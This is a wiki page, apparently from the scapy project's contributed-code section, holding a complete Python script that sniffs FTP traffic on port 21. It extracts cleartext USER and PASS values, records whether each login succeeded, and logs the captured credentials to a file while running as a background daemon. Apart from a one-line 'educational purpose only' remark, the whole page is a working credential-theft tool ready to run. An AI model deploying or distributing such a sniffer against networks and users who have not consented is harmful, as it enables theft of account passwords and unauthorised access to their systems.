-
-
Notifications
You must be signed in to change notification settings - Fork 2k
Contrib: Code: FtpPasswordSniffer
Pierre LALET edited this page Jan 17, 2016
·
1 revision
For educational purpose only ;)
#!/usr/bin/python
#############################################################################
## ##
## ftp_password_sniffer.py --- Simple FTP password sniffer using scapy ##
## see http://trac.innovacode.com/ for latest release ##
## ##
## Copyright (C) 2008 Franck TABARY <franck.tab atat gmail thedot com> ##
## ##
## This program is free software; you can redistribute it and/or modify it ##
## under the terms of the GNU General Public License version 2 as ##
## published by the Free Software Foundation; version 2. ##
## ##
## This program is distributed in the hope that it will be useful, but ##
## WITHOUT ANY WARRANTY; without even the implied warranty of ##
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ##
## General Public License for more details. ##
## ##
#############################################################################
import logging
import re
from scapy import *
#################################
##### Define some constants #####
#################################
APP_NAME='ftp_password_sniffer'
LOGFILE = '/var/log/'+APP_NAME+'.log'
PIDFILE = '/var/run/'+APP_NAME+'.pid'
conf.iface='eth0'
conf.verb=0
conf.promisc=0
last_ftp_login=''
last_ftp_pw=''
login_success='success'
login_failed='failed'
log=None
##########################################
##### printUsage: display short help #####
##########################################
def printUsage():
print "Password Sniffer."
print ""
print "Usage: password_sniffer [option]"
print ""
print "Valid options:"
print " -h, --help : display this help"
print " -c, --console : don't fork into background"
print " -d, --debug : switch to debug log level"
print ""
##############################################################
##### getFtpCredentiels: extract login/pass from packets #####
##############################################################
def getFtpCredentials(pkt):
global last_ftp_login, last_ftp_pw, log
src=pkt.sprintf("%IP.src%")
dst=pkt.sprintf("%IP.dst%")
sport=pkt.sprintf("%IP.sport%")
dport=pkt.sprintf("%IP.dport%")
raw=pkt.sprintf("%Raw.load%")
if dport=='21':
raw=raw[0:-5]
# From client
user=re.findall("(?i)USER (.*)",raw)
if user:
last_ftp_login=user[0]
pw=re.findall("(?i)PASS (.*)",raw)
if pw:
last_ftp_pw=pw[0]
if sport=='21':
raw=raw[1:-5]
# From server
reason=''
if last_ftp_login and last_ftp_pw:
success=re.findall(r'^230',raw)
if success:
status=login_success
else:
failed=re.findall(r'^530 (.*)',raw)
if failed:
reason=' ('+failed[0]+')'
status=login_failed
if success or failed:
msg='FTP: Login '+dst+' -> '+src+': '+status+': '
msg=msg+last_ftp_login+': '+last_ftp_pw+reason
log.info(msg)
last_ftp_login=''
last_ftp_pw=''
#####################################################
##### callback: called for each packet received #####
#####################################################
def callback(pkt):
global log
sport=pkt.sprintf("%IP.sport%")
dport=pkt.sprintf("%IP.dport%")
raw=pkt.sprintf("%Raw.load%")
if raw!='??':
log.debug(raw)
# FTP
if dport=='21' or sport=='21':
getFtpCredentials(pkt)
########################################################################
##### daemonize: if -d param not specified, daemonize this program #####
########################################################################
def daemonize (stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'):
'''This forks the current process into a daemon.
The stdin, stdout, and stderr arguments are file names that
will be opened and be used to replace the standard file descriptors
in sys.stdin, sys.stdout, and sys.stderr.
These arguments are optional and default to /dev/null.
Note that stderr is opened unbuffered, so
if it shares a file with stdout then interleaved output
may not appear in the order that you expect.
'''
# Do first fork.
try:
pid = os.fork()
if pid > 0:
sys.exit(0) # Exit first parent.
except OSError, e:
sys.stderr.write ("fork #1 failed: (%d) %s\n" % (e.errno, e.strerror) )
sys.exit(1)
# Decouple from parent environment.
os.chdir("/")
os.umask(0)
os.setsid()
# Do second fork.
try:
pid = os.fork()
if pid > 0:
sys.exit(0) # Exit second parent.
except OSError, e:
sys.stderr.write ("fork #2 failed: (%d) %s\n" % (e.errno, e.strerror) )
sys.exit(1)
# Now I am a daemon!
# Redirect standard file descriptors.
si = open(stdin, 'r')
so = open(stdout, 'a+')
se = open(stderr, 'a+', 0)
os.dup2(si.fileno(), sys.stdin.fileno())
os.dup2(so.fileno(), sys.stdout.fileno())
os.dup2(se.fileno(), sys.stderr.fileno())
################
##### main #####
################
def main():
global log
debugMode=False
consoleMode=False
try:
opts, args = getopt.getopt(sys.argv[1:], 'cdh', ['console','debug','help'])
except getopt.error, msg:
print msg
print 'for help use --help'
sys.exit(2)
# process options
for o, a in opts:
if o in ('-h', '--help'):
printUsage()
return
if o in ('-d', '--debug'):
debugMode=True
if o in ('-c', '--console'):
consoleMode=True
log=logging.getLogger(APP_NAME)
if consoleMode:
handler = logging.StreamHandler()
else:
handler = logging.FileHandler(LOGFILE)
formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
handler.setFormatter(formatter)
log.addHandler(handler)
if debugMode==False:
log.setLevel(logging.INFO)
else:
log.setLevel(logging.DEBUG)
expr='tcp port 21'
log.info("Listening on "+expr)
if debugMode:
log.info("Debug mode activated")
if consoleMode:
log.info("Console mode activated")
else:
daemonize()
try:
sniff(filter=expr, prn=callback, store=0)
except KeyboardInterrupt:
exit(0)
if __name__ == "__main__":
main()